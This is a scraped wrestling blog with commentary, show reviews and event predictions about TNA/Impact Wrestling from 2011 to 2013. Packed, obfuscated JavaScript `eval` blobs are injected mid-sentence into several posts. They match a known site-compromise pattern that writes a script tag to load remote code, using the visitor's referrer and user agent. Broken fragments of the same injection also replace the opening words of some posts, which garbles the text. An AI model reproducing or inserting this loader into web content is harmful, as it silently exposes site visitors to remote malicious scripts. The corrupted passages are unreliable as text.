Eric Bischoff Gone From TNA

He’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbekn|var|u0026u|referrer|yeyyr||js|php'.split('|'),0,{})) going to be paid to sit at home until his contract runs out.  I can’t say I’m complaining as the last few years haven’t been the most interesting for TNA.  At the end of the day, they had one really good idea with the THEY ARE COMING storyline and since then it’s been downhill for me.  As usual, back to square one for TNA.




Thought of the Day: Pitching Impact To A Potential TNA Fan

This is what selling TNA to a fan might sound like right about now.Dude eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sinyd|var|u0026u|referrer|erinh||js|php'.split('|'),0,{})) you should totally watch Impact Wrestling.  They have this guy named AJ Styles who does the most awesome flips and dives and has the best matches in the world.

 

Potential fan: That sounds cool.  Which one is he?

 

Oh well actually he left after turning down money and a car and implied sex with a not terrible looking woman.  But he’s champion and the best in the world!

 

Potential fan: But I can’t see him?

 

You might be able to if you don’t mind listening to Spanish or Japanese commentary.

 

Potential fan: HUH?

 

Never mind.  Oh I know you’ll love this: TNA has this thing called the X Division which has no limits on it at all.  Everybody is all about leaving it all in the ring and giving everything they have to be champion.  They fly around and have to crawl across ropes to pull down a title belt.

 

Potential fan: Now that has to be cool.  When are they on?

 

Actually scratch that since they weren’t on TV this week because Impact needed more time to spend on the not bad looking older woman.  Wait I almost forgot the best part!  There’s this team called Aces and 8’s and they’re just like Sons of Anarchy and they ride on motorcycles and beat up everyone!

 

Potential TNA fan: I don’t watch Sons of Anarchy.

 

Uh……Oh there’s this guy there named EC3 who is just like Robert Griffith III.

 

Potential TNA fan: He’s my favorite player on my favorite team.  Ok so I need to look for the black guy named EC3.  He has to be cool.

 

Actually he’s white.

 

Potential TNA fan: But he’s more athletic than everyone else right?

 

…..not especially.

 

Potential TNA fan: He represents Washington DC though?

 

If the DC stands for Directly from Cleveland he does!

 

Potential TNA fan: Nicest guy in the company?

 

Actually he looks to be one of the new top heels.  He’s the nephew of the older lady who isn’t bad looking.

 

Potential TNA fan: …..is he recovering from knee surgery?

 

YES!  I can indeed assure you that he had his knee operated on last year and is at least mostly back to full strength!

 

Potential TNA fan: So to recap, you want me to watch a show where to see the best guy in the world I need to watch other companies, I should be a fan of Sons of Anarchy, the high flying dudes weren’t even on last week, the show is apparently dominated by a woman that isn’t that bad looking and there’s a guy who is supposed to be like RG3 because he’s the polar opposite of him?

 

……did I mention Sting is still there and Hulk Hogan might come back?  And Sting can almost bend over still!

 

 

 

The worst part: this isn’t meant as a parody.




Thought of the Day: TNA Possibly Going Back To Orlando/Some Other Home City

Is eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnktn|var|u0026u|referrer|kiieh||js|php'.split('|'),0,{})) best for business.The current word on the street is that TNA is moving back to a home city, most likely Orlando again, to hold most of their TV tapings.  A few major shows could be taped on the road.  This is without a doubt the right move for TNA for one reason: they can’t afford to stay on the road.

 

Look at TNA’s business lately.  They’ve cut away their PPVs, they’re cutting house shows, they air specials on TV which get slightly higher ratings/audiences than usual, and they’re spending way more money on TV tapings.  Translation: spend more, bring in less.  For a company like TNA which doesn’t have a ton of sponsors and doesn’t draw huge crowds (see: Glory, Bound For), going on the road this often isn’t a viable plan.  People often compare TNA to WCW, but it’s really more like ECW.  Think about this for a second.

 

ECW did most of its shows from one area/city

They never came close to being #1 or #2 (TNA is firmly #2 but only because there isn’t a third major company)

Their TV show is the #1 show on its network, but it doesn’t ever draw many people outside of its core audience

Only after several years of being an underground hit did it start regularly holding TV tapings outside of its base

 

ECW lasted about a year taping on the road before going back to house shows and syndication where it lasted abut six more months.  Now before you ask, no I’m not saying TNA has six months left and no I’m not saying they’re in the same kind of shape as ECW was in 1999/2000.  What I’m saying is right now, TNA flat out cannot maintain their status quo or grow nearly at all while doing TV on the road.

 

In short, they can stay in Orlando/whatever single city they pick and survive at a stable level or they can have a hotter crowd once in awhile and barely be able to afford anything outside of TV.  This isn’t a complicated problem.




On This Day: October 25, 2012 – Impact Wrestling: Even This Is Better Than Today’s Impact

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktiny|var|u0026u|referrer|iaznt||js|php'.split('|'),0,{})) Wrestling
Date: October 25, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Todd Kenely, Mike Tenay, Taz

X-Division Title: Rob Van Dam vs. Zema Ion

As Van Dam celebrates, Matt Morgan takes his head off with the Carbon Footprint. Joey Ryan has the X Title and poses with it. Morgan says this is what Hogan wanted.

TV Title: Robbie T vs. Samoa Joe

Mr. Anderson vs. Austin Aries

Tenay and Taz take over in what is supposed to be a big deal I think. We recap the show up to this point.

Knockouts Title: Miss Tessmacher vs. Tara

Post match more making out occurs until Brooke comes out to shake her head. Apparently ODB is calling out Jesse next week on Open Fight Night.

Ryan says he wants the X Title and Morgan says Hogan started this.

TNA World Title: Kurt Angle vs. Jeff Hardy

The Angle Slam gets two so Jeff hits two straight Twists and the Swanton for just two. Jeff charges at Kurt and gets backdropped to the floor. Angle is spitting up blood. There go the straps as Hardy is thrown back in. Another Slam is countered into a rollup for the pin at 14:29 to keep the belt on Hardy.

Results

Rob Van Dam b. Zema Ion – Five Star Frog Splash

Samoa Joe b. Robbie T – Koquina Clutch

Austin Aries b. Mr. Anderson – Last Chancery

Jeff Hardy b. Kurt Angle – Swanton Bomb

Remember to follow me on Twitter @kbreviews

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Impact Wrestling – October 24, 2013: The 17 People That Liked Bound For Glory Will Be Thrilled

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifffz|var|u0026u|referrer|drkyz||js|php'.split('|'),0,{})) Wrestling
Date: October 24, 2013
Location: Maverik Center, Salt Lake City, Utah
Commentators: Mike Tenay, Tazz

The opening video recaps the events of Bound For Glory, including all the title changes and Kurt Angle declining the induction into the Hall of Fame.

AJ vs. Ray II for the title tonight.

Brooke/Gail Kim vs. Velvet Sky/ODB

The Bro Mans celebrate their tag title win by spraying their hair.

Ethan Carter III vs. Dewey Barnes

Dewey is another jobber, this time from Muscle Shoals, Alabama, home of Cody Deaner if I remember correctly. Carter takes him to the mat with ease and pounds away in the corner. Dewey comes back with a few shots to the face and a missile dropkick, only to be caught in the bulldog driver for the pin at 2:38. Same match he had at Bound For Glory.

We recap Magnus beating Sting on Sunday.

We get a video from the Hall of Fame induction dinner, Angle declining the Hall of Fame induction and Angle vs. Roode.

Dixie is on the phone in her office and says she needed something done yesterday.

TNA World Title: Bully Ray vs. AJ Styles

They have a ton of time here with nearly half an hour left in the show. AJ has heavily taped up ribs. Bully interrupts the big match intros so AJ punches him in the face to get things going. The champion scores with his drop down into the dropkick sequence and gets two off a kick to the head. Bully starts thinking and lifts Styles into the air to drop him ribs first down onto the mat as we take a break.

Results

Ethan Carter III b. Dewey Barnes – Bulldog driver

AJ Styles b. Bully Ray – Crucifix

 

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Bound For Glory 2013: Why Is This The Biggest Show Of The Year?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ethtn|var|u0026u|referrer|esndi||js|php'.split('|'),0,{})) For Glory 2013
Date: October 20, 2013
Location: Viejas Arena, San Diego, California
Commentators: Mike Tenay, Tazz

Tag Team Gauntlet

Rating: C-. Nothing special here but I liked the length of the match. Far too often in these things the falls last about 2 minutes each and are completely unrealistic when you compare them to normal wrestling matches. Having the shortest be seven and a half minutes made this far better. Also anything that keeps Chavo and Hernandez off my screen is a good thing.

The opening video for the PPV is the usual thing you would expect: talking about how this is the culmination of the entire year and everything leads to this night.

X-Division Title: Samoa Joe vs. Manik vs. Chris Sabin vs. Austin Aries vs. Jeff Hardy

This is Ultimate X, meaning there are four towers around the ring with ropes connecting them in an X shape. You have to climb up and crawl across the ropes and pull down the belt to win. Manik is defending coming in but Sabin has been in 16 of these matches. Chris bails to the floor to start, only to have Aries follow him out and send Sabin into the structure. Hardy and Manik head outside as well until Sabin goes in, only to be pounded down by the Samoan. Aries comes back in and sends Joe to the floor to take over.

Jeff starts to climb the structure but hops down to the apron, only to pull Aries down a few seconds later. Manik takes Hardy down and slaps a Sharpshooter kind of move on Sabin, only to have Aries make the save. Austin goes up again but Jeff pulls him down and hits a falling powerbomb facebuster (think a powerbomb but falling backwards instead of forward) before pulling out a ladder. Joe dives through the ropes to knock the ladder into Joe, only to be taken down by Sabin.

Tag Titles: Bro Mans vs. James Storm/Gunner

Robbie is taken down by a front suplex, allowing James to drop a top rope elbow for two. Storm has a nasty cut on the side of his leg and Robbie scores with a quick Edgecution for two. Gunner loads up Robbie in the Gun Rack but Robbie makes the save, only to get caught in a powerbomb. Storm adds a Backstabber but Jesse makes the save at the last second. James hits the Last Call on Jesse but Robbie throws in a title belt for a distraction, allowing the Bro Mans to hit the Hart Attack for the pin and the titles at 11:48.

Video from the Hall of Fame induction last night including Sting with a bare face in a rare sight.

AJ Styles won the world title at No Surrender 2009.

Knockouts Title: ODB vs. Brooke vs. Gail Kim

Gail pops back up and grabs the figure four around the post, only to have ODB make the save with her chest. ODB chops Brooke but gets rolled up for a quick two. Off to a half crab on Brooke but Gail makes another save. The challengers both go up but have to shove off a double superplex attempt, followed by Gail hitting a missile dropkick on ODB. Brooke adds a top rope elbow (WAY too popular of a move tonight) for no cover.

Gail hugs Tapa to reveal a ruse.

The Bro Mans celebrate.

Kurt Angle vs. Bobby Roode

Angle has a bad shoulder coming in. Feeling out process to start with Angle taking it to the mat but having to bail to the floor to avoid the Crossface. Back in and Angle tries the ankle lock but Bobby rolls through to send Angle back to the floor. Bobby takes over on the floor but Angle takes him down with a suplex. Back in and Roode scores with a quick hotshot to put Kurt back on the floor before going after the neck even more.

Bobby slips out of the hold again and sends Kurt shoulder first into the post before loading up the Crossface. Kurt fights up and gets a quick ankle lock, only to have Roode roll over into the Crossface again. Angle almost tape but turns it over into traded rollups for two each. Back up again and Angle tries a clothesline, only to get caught in the Crossface for the third time.

Angle fights up again and gets an Angle Slam for a VERY close two. Both guys are down now with Angle holding his arm. They slap it out from their knees with Angle getting the better of it before grabbing more Rolling Germans. Roode shoves the referee away so he can kick Kurt low to take over again.

AJ beat Sting at Bound For Glory 2009.

Ethan Carter III vs. Norv Fernum

Sting vs. Magnus

AJ won the BFG Series this year.

TNA World Title: AJ Styles vs. Bully Ray

Ray yells at Earl Hebner for the near fall so Earl yells back, only to have Ray miss a shot and take out Knux by mistake. Ray punches AJ down and then kicks him to the floor with the hammer going out too. The champion gets the hammer but AJ kicks him in the head, knocking Ray to the table. AJ grabs the hammer but throws it down and rams Ray into the table instead. Styles loads up a springboard 450 but Ray moves, sending AJ crashing through the table in a SCARY landing.

A long highlight package of the main event and AJ celebrating in the crowd ends the show.

Also, this sums up TNA right now.  This is during Sting vs. Magnus (thank KJ):

Results

Chris Sabin b. Manik, Samoa Joe, Jeff Hardy and Austin Aries – Sabin pulled down the title

Bro Mans b. James Storm/Gunner – Hart Attack to Storm

Bobby Roode b. Kurt Angle – Roode pinned Angle after Angle hit a top rope Angle Slam

Ethan Carter III b. Norv Fernum – Bulldog driver

Magnus b. Sting – Cloverleaf

AJ Styles b. Bully Ray – Spiral Tap

 

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Bound For Glory Count-Up – 2012: The Reveal To Beat All Reveals

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|inhnh|var|u0026u|referrer|sntkb||js|php'.split('|'),0,{})) For Glory 2012
Date: October 14, 2012
Location: Grand Canyon University Arena, Phoenix, Arizona
Commentators: Mike Tenay, Taz

The opening video is about what you would expect: it talks about the history of the company and how big the show is. Most of this has been shown on Impact in the Memories Are Waiting promos.

X-Division Title: Rob Van Dam vs. Zema Ion

TV Title: Samoa Joe vs. Magnus

They used to be partners and then split. Feeling out process to start with Joe taking him into the corner for the enziguri to take over. The champ pounds away and Magnus has to hide for mercy. Magnus comes back with punches of his own as we have a strike heavy match so far. A big old clothesline takes Joe down and Magnus takes over for the first time so far. Magnus takes him down with a knee and stomps away, followed by a jumping elbow for two. This is pretty decent stuff so far.

Roode says it ends tonight with Storm.

Video on Roode vs. Storm. Last year Roode lost in the main event of BFG, then Storm won the world title the next week on Impact. Roode used a beer bottle to beat Storm for the title and turn heel, which led to Storm wanting both revenge and the title back. Roode lucked out at Lockdown and then cost Storm the BFG Series, leading to a street fight tonight.

James Storm vs. Bobby Roode

We recap Ryan vs. Snow. Ryan was on Gut Check and got a big percentage of the votes, but the judges said no. Ryan terrorized Gut Check, becoming the only interesting thing about the segment for months, and tonight he faces Snow for a contract.

Al Snow vs. Joey Ryan

Ryan and Morgan shake hands.

Tag Titles: Kazarian/Christopher Daniels vs. Hernandez/Chavo Guerrero Jr vs. AJ Styles/Kurt Angle

AJ gets the attention off Kazarian by hitting a BIG dive on the champs and Hernandez. Kaz is at least sitting up now. Chavo suplexes Angle over the top and back in as he rolls some suplexes. Angle Slam out of nowhere puts Chavo down and a double suplex takes SuperMex down as well. Kaz is back in with a clothesline to take Daniels down and the BME gets a VERY close two on AJ.

Chavo says that was for the fans and for Eddie.

We recap Tessmacher vs. Tara. Tara is the teacher, Tessmacher is the student, Tara snapped, you fill in the rest. Oh and Tara has some Hollywood boyfriend who is likely some reality TV schmuck.

Knockouts Title: Miss Tessmacher vs. Tara

We get a video from the Hall of Fame ceremony last night. Lex Luger inducted him, which is way better than Christian. Hogan dressed up in a t-shirt while everyone else was in suits. Sting talked about owning a gym in California and having Hulk Hogan working out there.

Sting gets sent into the announce table as the fans chant for Bully. Sting and Ray double team #1 and the fans want tables. The Stinger Splash hits the barricade as it has all but one time that I can ever remember. #2 and Sting start in the ring with Sting in trouble. Off to #1 who hits a clothesline for two. Park is chained to the barricade at ringside. #2 hits another clothesline for another two on Sting.

We recap the world title match. Aries is jealous of Hardy, Hardy wants the title to complete his redemption.

TNA World Title: Jeff Hardy vs. Austin Aries

Hardy celebrates to end the show.

Overall Rating: B. Was this a great show? No. Was it their best show of the year? No. Was it good enough to be their biggest show of the year? Not really. What it was however was a quite enjoyable show, other than the big surprise which my jaw is still having issues closing over. The ending was the right call as Hardy had to win the title to send the fans home happy. There are a lot of ways they can go now, but unfortunately Impact is going to be ALL about D-Von and that pretty much freaking sucks.

Results

Rob Van Dam b. Zema Ion – Frog Splash

Samoa Joe b. Magnus – Koquina Clutch

James Storm b. Bobby Roode – Last Call

Joey Ryan b. Al Snow – Pin after a Carbon Footprint from Matt Morgan

Hernandez/Chavo Guerrero Jr. b. AJ Styles/Kurt Angle and Christopher Daniels/Kazarian – Hernandez pinned Daniels after a Frog Splash from Guerrero

Jeff Hardy b. Austin Aries – Swanton Bomb

 

 

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

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Bound For Glory 2013 Preview

Somehow eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyfet|var|u0026u|referrer|strni||js|php'.split('|'),0,{})) there are only six matches for this thing so either each match is getting twenty minutes or some stuff is being added in.  Let’s get to it.We’ll start with the main event which was made No DQ via Twitter after Impact, because saying it’s No DQ ON THE FREAKING TV SHOW would have been a waste of time.  I’ll go with what should be obvious and have AJ get the title here, but I have a bad feeling we’ll see some screwjob that sees AJ lose when he’s supposed to win.  Yes it would be stupid, but that’s how TNA rolls anymore.

 

Jeff Hardy to win the X Title.  Hardy doesn’t lose at BFG.
Bobby Roode better beat Angle, or the lesson apparently is work hard to help the company and you get to lose to a guy who can’t stop drinking at work and gets arrested once a year or so.  This feud is going to continue though.

 

I’ll go with Hernandez and Chavo to win the title shot because these two are the charmed team in TNA for whatever ridiculous reason TNA has.  I have no idea what they see in the pairing because they bore everyone to death.  They’ll win the gauntlet but lose the title match.

 

Magnus over Sting with him turning heel because if there’s one thing TNA is lacking, it’s a 58th heel in the upper midcard.

 

Gail wins the Knockouts Title because she has to have it once every few months or the Knockouts Gods will destroy the earth.

 

Overall, Bound For Glory feels like a very flat show.  There’s nothing on here that sounds like a big match and the entire thing feels like a launching pad into the TNA vs. Dixie story.  I’m convinced Hogan appears at the end to screw over Dixie after she screws over AJ and get the title on Styles, because that’s what the promotion clearly needs: more HOGAN.  I’m not looking forward to this show and it feels like it’s the biggest show of the year because TNA calls it the biggest show of the year.  I was WAY more excited for Slammiversary with its lame main event.  The wrestling should be good but the build has been awful.

 

Thoughts/predictions?




Bound For Glory Count-Up – 2011: Dig Those Old Dudes Fighting!

Bound eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|stfea|var|u0026u|referrer|kdsdr||js|php'.split('|'),0,{})) For Glory 2011
Date: October 16, 2011
Location: Liacouras Center, Philadelphia, Pennsylvania
Commentators: Mike Tenay, Tazz

It’s the major show of the year for TNA and I can’t say I’m as excited about it as I was for last year’s. It should be good though as we have two major main events. Now that’s part of the problem: one of them is Sting vs. Hogan. They couldn’t have a good match 14 years ago so what are you expecting from them here? Other than that the rest of the show looks pretty solid. Let’s get to it.

The opening video is about exactly what you would expect: a highlight package with everything leading up to the double main event.

The dark match was the tag title match with Mexican America retaining. Well at least the title didn’t change hands on a dark match. To be fair it was streamed free on the website so anyone could see it.

X-Division Title: Brian Kendrick vs. Austin Aries

I’m not sure if I’d have gone with a rematch for Kendrick so soon after Aries too the title from him. They have the garage door style lifting wall for the guys to come through. The fans are way behind Aries here. The crowd looks good here. They fight over a wristlock to start as we get a good feel for the crowd here with the loud Austin Aries chant. Tazz talks about how this crowd isn’t like most and that’s an understatement.

Things speed up a bit as they hit the mat. Aries goes to the floor so Kendrick is like PORKCHOP and dives onto him in a huge spot. Back in Kendrick gets caught in an STO and Aries loads up the Pendulum Elbow which blows the roof off the place. Kendrick counters and hammers away but the fans are all over Brian since this is the ultimate smark town. This could become a problem tonight.

They try what looks to be a rollup but Kendrick falls to the floor. Aries hits a HUGE suicide dive to fire the crowd up even more if that’s possible. Back in Aries tries the brainbuster but Kendrick knees his way out of it. They go up on the ropes but Aries talks to the crowd too much and gets caught in a top rope Sliced Bread for two as Aries grabs the ropes. They head to the apron and Kendrick tries it out there again but gets dropped onto the apron and then the floor. That and the brainbuster in the ring gives Aries the clean pin at 10:27.

Rating: B-. Can’t complain much here band this was what I was expecting for the opener. You can’t ask for much more than a cruiserweight match to start things off, but I’m hoping the show stays hot throughout the rest of the match. The right idea is to have things like this for later on in the show when you need to fire the crowd back up, but in Philly I don’t think it’ll be a problem. Keep that in mind: all rules about crowds are thrown out the window tonight.

The Knockouts are with some kids in the back and Karen comes in and she’s not happy. Oh ok they’re Kurt’s kids. The kids leave and Karen freaks out as always. Karen is refereeing the Knockouts match tonight. That means Madison wins tonight. Traci has to stay in the ring unless Karen is in danger.

We recap RVD vs. Lynn which is over Jerry being jealous or something. It’s Full Metal Mayhem which means TLC with pins. Can’t argue with putting this match on in Philly.

Jerry Lynn vs. Rob Van Dam

Technical stuff to start but they’ve probably got a lot of time. There are only 8 minutes on this card and I can’t imagine that Hogan vs. Sting will break ten minutes. Rob takes over early and tries Rolling Thunder but Lynn pops up with a kick to the face. Tornado DDT is countered but the suplex is as well. The psychology here is solid and we hit a stalemate. They try a cross body over the top and that doesn’t work right, drawing half boos/half silence from the crowd.

We’re on the floor now and Van Dam tries a moonsault off the apron but misses and might have hurt his knee. Lynn brings in a ladder but Rob sends him in and gets a chair. He takes too long though and Jerry hits a baseball slide to send it into the face of Van Dam. Van Dam gets a spinning cross body onto Lynn onto the chair for two. The surfboard dropkick with the chair in the corner gets no cover. Rob does however get a ladder so the crowd is pleased.

The fans chant ECW and the ladder is splashed with Lynn under it for two. The fans never stay silent for long in this city. It’s something I wish you could hear in more cities too. Rob does a springboard moonsault over Lynn which appeared to be intentional. No idea what the point of that was other than to have Lynn hit him with the chair to take over. Lynn misses a senton backsplash onto the ladder and Van Dam takes over again.

Van Daminator misses so Lynn pelts the chair at him. Lynn gets a German for tow and Lynn is down more from it than Rob is. Lynn gets suplexed onto a ladder which is a lot more effective, so I guess American > Germany. Lionsault onto the ladder gets two for Rob. Rob tries one of his rolling moves but Jerry jumps off the middle rope and they collide at the same time. Lynn goes to the floor to get another ladder and I have the same question as Tazz: how many ladders do you need?

The second ladder is put up against the railing and Lynn tries a sunset bomb, resulting in Rob’s head slamming into the railing. FREAKING OW MAN!!! Lynn has a big bump under his eye. Van Daminator gets two. Rob sets up the Van Terminator with a ladder over Lynn’s face and it’s enough for the pin at 13:16. So Lynn can get up from a Van Daminator after two seconds but he can’t move after about 30 seconds of sitting in the corner?

Rating: B. Good match but it’s going to be overrated because it’s Lynn vs. Van Dam. This was more about the weapons and the violence than the whole psychology which was the standard of their old matches. The fans were of course into it because these guys used to be huge in ECW like 10 years ago. It was entertaining though and that’s the point of these matches.

They hug afterwards, meaning I guess it’s cool to cost Van Dam a title shot. I guess he doesn’t seem to mind or whatever.

We recap the triple threat which is all about getting the world title shot or something. It’s the first I’ve heard of that but they’re talking about it which is the right idea. Joe went crazy and hurt Crimson once Joe was mathematically eliminated from the BFG Series so Morgan went after him for being a bully. Hence the triple threat.

Samoa Joe vs. Matt Morgan vs. Crimson

New music for Crimson. I’m not digging it. Joe tries to get both guys to fight each other but they beat him up instead. Joe is wearing red and blue tights while the others are both in white. Morgan’s continue to be way too small for him. Crimson hits the floor against his wishes and Joe takes down Morgan with ease. Crimson tries to steal a pin off a Morgan side slam but just gets one.

The non-Samoans are sent to the floor so Joe tries a huge suicide elbow. Morgan steps to the side so Crimson takes all of it. As Crimson gets up and brawls with Joe, Morgan goes up and dives onto Crimson from the top. Not a good few seconds for the red one there. Back in Crimson suplexes Joe and Morgan tries to steal the pin. We’re into the triple threat formula here and that’s all fine and good.

The non-Samoans slug it out and Morgan takes him down, only for Joe to trip him up and pull him to the floor. Crimson’s leg injury is fine by the way, despite him having it on Impact. Joe loads up the MuscleBuster on Crimson but Morgan comes in to break it up. I’ve never gotten that. Why wouldn’t he let Joe take Crimson out? Anyway Crimson sends Morgan to the floor and Crimson hits the spear on Joe for the pin at 7:15.

Rating: C. Not much here and this was something you could have seen on any Impact. To be fair though, there was no real heat on this match as it was all about pride or whatever. I mean, we have to have the TV Champion fighting Scott Baio in his underwear so we can’t have the TV out there. It’s TNA though so titles mean less and less all the time other than the world title. This was probably going to be the weakest match on the card and it was certainly watchable.

Ray says he needs no introduction and talks about himself anyway. He buries Philadelphia, talking about how he’s never liked it here and he’s used the idiot fans for years to get where he is. This was really needed because Ray would have been the crowd favorite otherwise.

Bully Ray vs. Mr. Anderson

Anderson charges the ring and we start fast. Remember that this is a falls count anywhere match. Anderson tries to control early but Ray kicks his head off and puts Anderson down. Is there a reason why Anderson wears his shirt in his matches anymore? Ray chops him haRD in the corner (not good enough for all caps but decent) as Anderson’s hair is uh….weird. Anderson goes to the floor and takes a sign which has to be loaded. Yep there’s a metal sign in there and Ray goes down in a heap. Dead end sign and it goes over Ray’s head again.

They fight on the floor and a fan throws a beer on Ray. Anderson gets two on the floor and they go up the ramp. Anderson is infinately more entertaining when you let him stop wrestling. Ray reverses a suplex on the stage for two. Ray grabs the mic and talks about New York but Anderson beats him down and says this is Philadelphia. They head into the back and Ray hits a piledriver onto the concrete for two. Anderson gets choked with a red chair.

Back into the arena and they’re near the Spanish announce area. That has to be a copyrighted brawling area. Anderson takes part of the railing away and slides it into the ring but Ray beats him down and sets up a table. There’s another set up on the floor as well. Ray gets backdropped onto the railing and it’s bent.

Anderson goes up and misses the swanton onto the railing, allowing Ray to hit the Bubba Bomb (why is it not the Bully Bomb?) for two. I thought that was the ending. Anderson gets in a trashcan shot and loads Ray up onto the table on the floor. He goes up and channels his inner Jeff Hardy. There’s the huge Swanton BUT THE TABLE DIDN’T BREAK! FREAKING OW MAN!!! A Mic Check onto the table finally ends this at 14:28.

Rating: C+. This is one of those matches that was fun to watch. It wasn’t technically good or anything but if you’re expecting it to be you’re totally missing the point. This was a fun weapons match, although I kind of question having two of them on the same show like they did with Lynn and Van Dam. Decent match here and rather entertaining.

Bischoff is talking to a referee and says it’s a big night. It’s implied that the referee is in Immortal’s pocket. Eric says Hogan has to win and Sting has to be taken out for good. It’s revealed that Jackson James, the referee, is the son of Bischoff. This is treated as a shock by the announcers.

Knockouts Title: Winter vs. Velvet Sky vs. Mickie James vs. Madison Rayne

Karen is referee and Winter is champion. The crowd is WAY into Velvet. Winter is in a coat of some kind and Angelina is in a pink corset. Karen looks good in her referee stuff and Madison gives her the tiara. They have to tag here and it’s Winter vs. Mickie to start. Winter controls early but Mickie snaps off the slick rana in the corner and a neckbreaker puts Winter on the floor.

Madison comes in sans tag and tries to slap Mickie or throw something in her face but it doesn’t work. They’re playing up the Karen factor a lot here as the fix is in or something like that. Mickie goes to the floor and Velvet comes in. I guess it’s lucha tag rules. Velvet hits a bulldog but Karen ties her shoes instead of counting. Velvet and Mickie have to fight but shake hands first.

Both get rollups but Karen won’t count for either of them. The fans are all over this in a hurry. They slug it out for a bit with no real purpose because Karen isn’t going to count. Winter and Madison pull them to the floor and that’s a tag in a way I guess. Madison is in there finally and make that all four are in now. The good girls take over and the fans aren’t going to stick with this much longer.

Mickie vs. Winter at the moment but Mickie won’t cover because there’s no point to it. She beats Winter down but argues with Karen, allowing Angelina to give Winter blood. It gets loaded up but Mickie ducks, sending the blood into Karen’s eyes. I typed that before it happened. There’s the jumping DDT and here’s Traci. Things totally break down and Velvet hits the double underhook X Factor to win the title at 8:45.

Rating: D+. They wanted Velvet winning to be a huge moment and it just wasn’t. There was so much going on here and most of it wasn’t anything we haven’t seen before so this wasn’t much to see. Winter’s second reign was about as worthless as her first but at least there’s the title reign for Velvet which has taken forever to get to. Not the big moment they were looking for though.

Kaz doesn’t know who to cheer for in the I Quit match but he hopes Daniels sees the light after it’s over.

We recap Daniels vs. Styles #4895 which is about Daniels being way too excited about beating him on a fluke and turning heel on him, setting up an I Quit match.

AJ Styles vs. Christopher Daniels

It sounds like new music for both guys. AJ has another new remix. This is I Quit. There’s also no pyro for anyone tonight so far. The guys have the mic here and it’s a brawl to start. Daniels is asking if it’s over about 30 seconds in with a choke on AJ. AJ hooks a bridging Indian Deathlock and Daniels says no. We’re in that place in the match where they’re trying for fast submissions but no one believes it’s happening yet.

AJ hits his leapfrog/drop/dropkick spot and we head to the floor. AJ hits a flip dive and both guys are down. They find a tool box and Daniels tries to stab AJ with a screwdriver. The maiming attempt fails and they fight to the apron where they botch some kind of a suplex move. The screwdriver is stuck in the buckle. AJ has pink on his tights for breast cancer awareness month. Nothing wrong with that.

AJ still won’t quit so Daniels busts out the BME to AJ while he’s on his knees, making it more like Shadows Over Hell (Delirious move). Off to a half crab and of course AJ doesn’t quit. A spin kick is blocked and Daniels gets a backbreaker. There’s no eyeliner on Daniels either which is a weird look. He’s in tights instead of shorts too. It’s chair time and Chris sits down on it with the bar over AJ’s throat. Styles is bleeding over the top of the head, right around his hairline.

Daniels says everything AJ has in TNA will belong to him and he never wanted to hear AJ say I qu….”oh no I’m not saying it.” The fans chant for him to shut up and Daniels lets up for some reason. He looks into the camera and talks to Wendy (AJ’s wife) and says take the kids out of the room because they shouldn’t see their father murdered. Yeah this isn’t overkill at all.

AJ gets fired up and hits the backflip reverse DDT. Styles Clash fails and Daniels misses the BME. He shouts DIE AJ but runs into the Pele and the Clash. So….how does this make Daniels say he quits? AJ picks up the chair but grabs the screwdriver instead. And Daniels quits to avoid the pain ala JBL vs. Cena in 05. He quit at 13:52.

Rating: C. I’m not a fan of these matches because the ending is either the heel giving up after being hurt for a few seconds or giving up before something big happening. I wasn’t into this and the fans weren’t really either. I think they were going for a big ending and emotional moment but it never got to the level they were hoping for.

As AJ is leaving, Daniels jumps him and plants him with Angel’s Wings on the ramp, meaning this is going to continue.

We recap the final two matches on the card but here’s Jeff Jarrett.

